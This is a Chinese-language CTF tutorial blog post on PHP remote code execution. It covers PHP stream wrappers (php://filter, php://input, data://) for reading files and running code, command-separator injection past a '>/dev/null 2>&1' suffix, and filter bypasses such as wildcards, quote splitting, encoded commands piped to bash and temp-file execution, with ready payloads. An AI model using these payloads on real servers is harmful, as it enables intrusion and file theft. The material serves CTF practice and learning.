CTF php RCE(二)

0x04 php伪协议

这种我们是先看到了include才会想到,利用伪协议来外带文件内容,但是有些同学会问,我们怎么知道文件名是哪个,哪个文件名才是正确的,那么这里我们就得靠猜了

include函数

在这里插入图片描述

因为 include 是一个特殊的语言结构,其参数不需要括号。在比较其返回值时要注意。
include 函数用于包含指定文件(通常是 PHP 脚本文件)的内容,使得被包含的文件中的所有 PHP 代码在当前脚本中执行。

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。 如果在
include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则
include 结构会发出一条 E_WARNING ;这一点和 require 不同,后者会发出一个 E_ERROR 。

所以我们需要文件路径来推进文件包含flag,得到内容

file://

allow_url_fopen :off/on
allow_url_include:off/on
但是需要知道文件路径,我基本是没用过

file://D:/soft/phpStudy/WWW/phpcode.txt

php://

这里说几种常用的伪协议命令

php://filter
allow_url_fopen :off/on
allow_url_include:off/onbase64
php://filter/read=convert.base64-encode/resource=flag.php
rot13
php://filter/string.rot13/resource=flag.php
php://input     接受原始POST输入流进行命令执行
allow_url_fopen :off/on
allow_url_include:onPOST:
<?= phpinfo();?> 执行成功

data://

data://text/plain,<?= system("cat fl*");?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+         这里同理也可以写rot13等其他编码

zip://

我没用过,用了之后补上

phar://

这个也是

0x05 >/dev/null 绕过

这个东西为什么单独拎出来,完全是我想而已
众所周知2>&1是一个重定向写法,bash弹shell经常使用,但是在命令执行函数中他可以用来使得命令执行结果被转入>/dev/null文件路径中

重定向(Redirect)是指将一个命令的输入或输出流从默认的位置改变到另一个位置或设备上的操作。

标准输入(STDIN,文件描述符为0):通常用于接收输入数据。
标准输出(STDOUT,文件描述符为1):通常用于输出正常的程序输出。
标准错误(STDERR,文件描述符为2):通常用于输出错误消息和其他诊断信息。

这部分是将标准错误(STDERR)重定向到标准输出(STDOUT)

>/dev/null:这部分是一种重定向输出的方法。/dev/null 是一个特殊的设备文件,在 Unix/Linux 系统中,它是一个空设备,写入到它的内容都会被丢弃,不会保存到任何地方。

诶那么绕过方法其实也非常简单

;     用于分隔多个命令
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行
%0a	  换行符
system($c." >/dev/null 2>&1");
当我们输入;时候
直接就变成了system(ls; >/dev/null 2>&1);
如果ls有效那么就会成功执行并且有回显,其他同理

0x06 字符串过滤

字符串过滤这个是非常常见的我们每次看任何的比赛吧,正常的都会把flag给禁了那么我们就围绕这个来说说常用的姿势

通配符 *

这个是最常用也是最好用的

功能: 匹配零个或多个字符。
示例:
*.txt:匹配所有以 .txt 结尾的文件。
file*:匹配所有以 file 开头的文件或目录。

f*就能代表flag如果只有一个f开头的文件

通配符 ?

功能: 匹配任意单个字符。
示例:
?.txt:匹配所有由一个字符加上 .txt 后缀的文件,比如 a.txt、1.txt、x.txt 等等。

比如fla?.php 而且有时候如果过滤忘记过滤P的话还有姿势,例子

<?phpif(isset($_GET['cmd'])){$cmd=$_GET['cmd'];highlight_file(__FILE__);if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){die("cerror");}if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){die("serror");}eval($cmd);}?>

本题过滤少了p

php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。linux下默认为/tmp。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是php**.tmp访问/tmp/phpxxxxxx来读取文件
linux .(点命令):读取并且在当前的shell中执行文件中的命令
这里用p师傅的话讲的话,.file是用bash来执行file文件中的命令,而且这种操作是不需要file有x权限

payload

GET:
?cmd=?><?=`.+/??p/p?p??????`;
POST:
#! /bin/bash           //指定为脚本cat /flag.txt
前面也说到了我们是利用bash

其他

fl""ag
fla''g
fla\g

通配符 [ ]

在正则表达式中,[ ] 表示一个字符类(character class),用于指定一个字符集合,可以匹配其中任意一个字符

[9-q]
[9-q] 表示匹配一个字符,该字符的范围是从 9 到 q 之间的任何字符。

在这里插入图片描述

管道符

echo "Y2F0IGZsYWc=" | base64 -d|bash
| base64 -d:管道符 | 将 echo 命令的输出传递给 base64 -d 命令。base64 -d 表示对输入进行 Base64 解码。
| bash:再次使用管道符 |,将解码后的结果作为 Bash 命令执行。

在这里插入图片描述

切片环境变量

${PATH:x:y}
将环境变量PATH的某个字母才从第x个字符开始切片y个字符

在这里插入图片描述

拼接

a=c;b=at;c=flag;$a$b $c

进制转换

利用管道符
这东西我记得有但是我成功不了,欠着先

16进制
echo "0x63617420666c6167" | xxd -r -p | bash
8进制
echo "cat flag" | od -An -t o1
printf "\143\141\164\040\146\154\141\147\012" | bash

在这里插入图片描述

特殊变量

$1
$2

借用师傅的图
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3223537.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

3-7 使用深度学习解决温度即示数问题

3-7 使用深度学习解决温度即示数问题 直接上代码 %matplotlib inline import matplotlib.pyplot as plt import numpy as np import torch torch.set_printoptions(edgeitems2, linewidth75)设置Jupyter Notebook在单元格中内嵌显示图像&#xff0c;导入所需库并设置PyTorch的…

Argo CD入门、实战指南

1. Argo CD概述 1.1 什么是 Argo CD Argo CD 是针对 Kubernetes 的声明式 GitOps 持续交付工具。 1.2 为什么选择 Argo CD 应用程序定义、配置和环境应具有声明性并受版本控制。应用程序部署和生命周期管理应自动化、可审计且易于理解。 2. Argo CD基础知识 在有效使用 Ar…

3-6 构建线性模型解决温度计示数转换问题

3-6 构建线性模型解决温度计示数转换问题 直接上源码 %matplotlib inline import numpy as np import torch torch.set_printoptions(edgeitems2, linewidth75)导入必要的库并设置 PyTorch 的打印选项&#xff0c;确保在打印张量时显示边缘项和行宽。 #%% t_c [0.5, 14.0,…

Windows C++ vs2022环境中下载、安装和使用osmesa

第一步&#xff1a;安装 MinGW-w64 请参考这篇文章进行安装&#xff1a; 在Windows中安装MinGW-w64最新版本 第二步&#xff1a;安装DirectX SDK 请参考这篇文章进行安装&#xff1a; 下载安装Microsoft DirectX SDK(June 2010) 第三步&#xff1a;安装Windows SDK 请参考这篇…

书生大模型实战营(暑假场)-入门岛-第一关

书生大模型实战营暑假场重磅开启&#xff01;&#xff0c;这场学习路线看起来很好玩呀&#xff0c;闯关学习既能学到知识又有免费算力可得&#xff0c;太良心啦。感兴趣的小伙伴赶快一起报名学习吧&#xff01;&#xff01;&#xff01; 关卡任务 好的&#xff0c;我们废话不多…

【动态规划Ⅴ】二维数组的动态规划——0/1矩阵、最大正方形

二维数组的动态规划——0/1矩阵、最大正方形 最大正方形1277. 统计全为 1 的正方形子矩阵221. 最大正方形 01矩阵542. 01 矩阵 最大正方形 下面两个题目是非常相似的&#xff0c;只是一个统计正方形数目&#xff0c;一个统计最大正方形的面积。 1277. 统计全为 1 的正方形子矩…

2.5章节python中布尔类型

在Python中&#xff0c;布尔类型&#xff08;Boolean type&#xff09;用于表示真&#xff08;True&#xff09;或假&#xff08;False&#xff09;的值。这是编程中非常基础且重要的一个概念&#xff0c;因为它允许程序进行条件判断&#xff0c;从而根据条件执行不同的代码块。…

如何写出一篇高质量的新闻稿,纯干货

对于企业宣传来说&#xff0c;新闻稿的发布是常用的一种宣传推广的营销方式&#xff0c;新闻稿可以让消费者及时了解企业的最新发展动态&#xff0c;增加企业品牌的曝光度。 一篇高质量新闻稿不仅能作为品牌背书&#xff0c;还很可能会被各大媒体转载&#xff0c;短时间内提高企…

GS Quant——一个用于量化金融的 Python 工具包【送源码】

GS Quant是一个用于量化金融的 Python 工具包&#xff0c;GS 其实就是 Goldman Sachs 高盛集团的缩写。 GS Quant 的功能主要涵盖了以下几个方面&#xff1a; 内置很多金融衍生品定价模型&#xff0c;涵盖多个资产类别 提供了公司内部及市场的数据接口&#xff0c;便于监测 …

LeNet原理及代码实现

目录 1.原理及介绍 2.代码实现 2.1model.py 2.2model_train.py 2.3model.test.py 1.原理及介绍 2.代码实现 2.1model.py import torch from torch import nn from torchsummary import summaryclass LeNet(nn.Module):def __init__(self):super(LeNet, self).__init__…

价格疑云?格行WiFi创始人亲解谜团,性价比之王如何炼成?

随身wifi行业乱象频出&#xff0c;作为行业领跑品牌的格行随身wifi&#xff0c;关于价格问题一直备受质疑。关于设备上的“格行自有格行的骄傲”也被外界认定为是自大&#xff0c;甚至发展的线下一万多家门店也被同行不认可。近日&#xff0c;企业财经专访记者有幸采访了格行随…

Xilinx原语

1. 原语介绍 原语是 Xilinx 器件底层硬件中的功能模块&#xff0c;它使用专用的资源来实现一系列的功能。相比于 IP 核&#xff0c;原语的调用方法更简单&#xff0c;但是一般只用于实现一些简单的功能。本章主要用到了 BUFG、 BUFIO、 IDDR、 ODDR、IDELAYE2 和 IDELAYCTRL。…

用于视频生成的扩散模型

学习自https://lilianweng.github.io/posts/2024-04-12-diffusion-video/ 文章目录 3D UNet和DiTVDMImagen VideoSora 调整图像模型生成视频Make-A-Video&#xff08;对视频数据微调&#xff09;Tune-A-VideoGen-1视频 LDMSVD稳定视频扩散 免训练Text2Video-ZeroControlVideo 参…

AI发展的新方向:从卷模型到卷应用

在2024年7月4日于上海世博中心举办的世界人工智能大会暨人工智能全球治理高级别会议全体会议上&#xff0c;百度创始人、董事长兼首席执行官李彦宏发表了一段引人深思的演讲。他在产业发展主论坛上提出&#xff1a;“大家不要卷模型&#xff0c;要卷应用&#xff01;”这句话道…

【嵌入式DIY实例-ESP8266篇】-LCD ST7735显示BME280传感器数据

LCD ST7735显示BME280传感器数据 文章目录 LCD ST7735显示BME280传感器数据1、硬件准备与接线2、代码实现本文中将介绍如何使用 ESP8266 NodeMCU 板(ESP12-E 模块)和 BME280 气压、温度和湿度传感器构建气象站。 NodeMCU 微控制器 (ESP8266EX) 从 BME280 传感器读取温度、湿度…

注解复习(java)

文章目录 注解内置注解**Deprecated**OverrideSuppressWarnings【不建议使用】Funcationallnterface 自定义注解元注解RetentionTargetDocumentedInherited 和 Repeatable 反射注解 前言&#xff1a;笔记基于动力节点 注解 注解可以标注在 类上&#xff0c;属性上&#xff0c…

pdf容量大小怎么改,pdf容量太大怎么变小

在数字化时代&#xff0c;pdf文件因其稳定性和跨平台兼容性而成为工作、学习和生活中不可或缺的文件格式。然而&#xff0c;随着文件内容的丰富&#xff0c;pdf文件的体积也日益增大&#xff0c;给存储和传输带来了不少困扰。本文将为你详细介绍多种实用的pdf文件压缩方法&…

linux watchdog 子系统

目录 一、watchdog 子系统二、关键数据结构2.1 watchdog_device2.2 watchdog_ops2.3 watchdog_info 三、重要流程3.1 watchdog 初始化3.2 watchdog 设备注册3.3 watchdog 设备文件操作函数3.4 watchdog 喂狗用户空间 watchdog&#xff08;busybox&#xff09;内核空间喂狗疑问 …

浏览器开发者视角及CSS表达式选择元素

点击想要查看的接口&#xff0c;然后点击检查&#xff0c;便可以切换到该接口对应的html代码 如果F12不起作用的话&#xff0c;点击更多工具&#xff0c;然后选择开发者工具即可 ctrlF可以去查阅相关的CSS表达式选择元素 如果没有加#t1&#xff0c;那么表示的是选择所有的p 使用…

Start LoongArch64 Alpine Linux VM on x86_64

一、Build from source(build on x86_64) Obtain the latest libvirt, virt manager, and QEMU source code, compile and install them 1.1 Build libvirt from source sudo apt-get update sudo apt-get install augeas-tools bash-completion debhelper-compat dh-apparmo…